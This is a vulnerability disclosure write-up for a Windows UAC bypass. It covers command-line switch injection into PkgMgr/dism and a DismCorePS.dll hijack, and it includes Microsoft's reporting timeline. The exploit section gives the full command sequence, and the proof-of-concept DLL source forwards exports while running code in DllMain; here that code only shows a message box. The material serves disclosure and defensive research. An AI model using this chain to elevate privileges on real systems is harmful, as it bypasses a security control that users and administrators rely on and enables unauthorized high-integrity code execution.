Windows 11 UAC Bypass ---[ 1. Overview A bug exists in Microsoft Windows PkgMgr such that it is possible to inject additional command line arguments to the "Deployment Image Servicing and Management" tool (dism.exe). Using this, it is then possible to control the path from which dism loads its provider dlls. Exploitation of this allows the bypass UAC restrictions and gain high integrity code execution in all versions of Windows from Vista to the latest (at time of reporting) preview version of Windows 11. ---[ 1.1 Reporting timeline Sept. 7th 2020 - Initial Report to MSRC Sept. 8th 2020 - MSRC ask how attacker can attacker can exploit and close case Sept. 9th 2020 - Second Report to MSRC Sept. 10th 2020 - MSRC close case as UAC not considered security boundary Sept. 11th 2020 - Ask for clarification Oct. 11th 2020 - 2 months, no response Feb. 8th 2022 - Exploit still works on Windows 11 ---[ 2. PkgMgr.exe The Package Manager was introduced in Windows Vista as a way to manage the installation and removal of software packages and Windows features using only the command line. It is an "autoElevate" binary, meaning that it is automatically granted elevated integrity level upon execution. PkgMgr itself is actually just a command line front end to dism.exe which is the "Deployment Image Servicing and Management" tool. This does all of the heavy lifting. Dism is a surprisingly powerful tool with lots of options (including undocumented ones). -----[ 2.1 Non-manifest Autoelevate Autoelevate is a general concept for the ability of a signed application running within controlled directories to run with elevated privileges. It is actually implemented in one of two different ways. The first (and most common) is through the application manifest; the "true" element determines this. Additionally, applications can be registered for auto elevation through the registry. PkgMgr uses the latter. ---[ 3. Bugs It is possible to convince PkgMgr to use additional features of dism that were never intended to be exposed via this mechanism. -----[ 3.1 Command Line Switch Injection It is possible to craft a command such that we can inject additional DISM switches by escaping quotation marks passed in the /iu: option. As mentioned above, dism provides a plethora of update and patching functionality. Usually, it is used to install packages by name (eg. KBnnnnn) but in this exploit we use a less common (and sparsely documented) feature. DISM allows domain administrators to create golden master images with pre-installed software packages and certain packages for deployment across an estate. In order to do this, an administrator creates a .wim file (windows image), mounts it locally, then installs updates to it. This feature is not exposed to PkgMgr (which we need to leverage the auto elevation), but it is possible to craft a command such that we can inject additional switches. The command switch we rely on is "/external". Thus; we use the "/iu" (install update) switch and escape a terminating quotation mark to inject it. pkgmgr /iu:"KB66666\" /external:\"%userprofile%\Desktop\Dism2 Note the lack of closing quotation mark at the end of this command. This is because the PkgMgr program will add this in for us. Once we have this, we can now convince PkgMgr to slip stream updates into a location that we control. Unfortunately, this alone is not sufficient as we havent managed to divert execution into a path that we control as we are still using standard system32 binaries to perform this action. We therefore need to chain this with another bug. -----[ 3.2 Slipstream Install DLL Hijack Due to the extensible nature of dism, it is unable to properly validate the signatures of provider DLLs, and instead only validates signatures for ones it is already aware of. This allows the use of unsigned DLLs to act as dism prodivers. It is entirely undocumented, but when dism slipstreams packages into a golden image, it is possible to specify the dism to use using the /external switch. The local version validates the certificate on the dism.exe image, but due to the extensible "provider" architecture, it is unable to easily validate the DLLs. For this reason, we can simply copy dism to any writable directory and hijack a DLL. Note that we can't simply replace dism.exe as the certificate is checked. During testing, I found that hijacking DismCorePS.dll was ideal as it only had a small number of exported functions to forward. ---[ 4. Exploit The following assumes that you have Dll which forwards exports to the legitimate DismCorePS.dll. xcopy %systemroot%\system32\Dism\ %userprofile%\Desktop\Dism2\ move %userprofile%\Desktop\Dism2\DismCorePS.dll \ %userprofile%\Desktop\Dism2\DismCorePS2.dll copy exploit.dll %userprofile%\Desktop\Dism2\DismCorePS.dll pkgmgr /iu:"KB66666\" /external:\"%userprofile%\Desktop\Dism2 Code in the DllMain of DismCorePS.dll will then be executed with elevated privileges with no UAC prompt. The export forwarding will then ensure that the rest of the process runs smoothly until exit. ---[ 5. Proof of Concept Dll Code #include #pragma comment(linker, "/EXPORT:DllCanUnloadNow=DismCorePS2.#1,@1") #pragma comment(linker, "/EXPORT:DllGetClassObject=DismCorePS2.#2,@2") #pragma comment(linker, "/EXPORT:DllGetDismInterfaces=DismCorePS2.#3,@3") #pragma comment(linker, "/EXPORT:DllRegisterServer=DismCorePS2.#4,@4") #pragma comment(linker, "/EXPORT:DllUnregisterServer=DismCorePS2.#5,@5") BOOL APIENTRY DllMain( HMODULE hModule, DWORD fdwReason, LPVOID lpReserved ) { switch (fdwReason) { case DLL_PROCESS_ATTACH: MessageBoxW(NULL, L"UAC Bypassed!", L"UAC Bypassed",0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }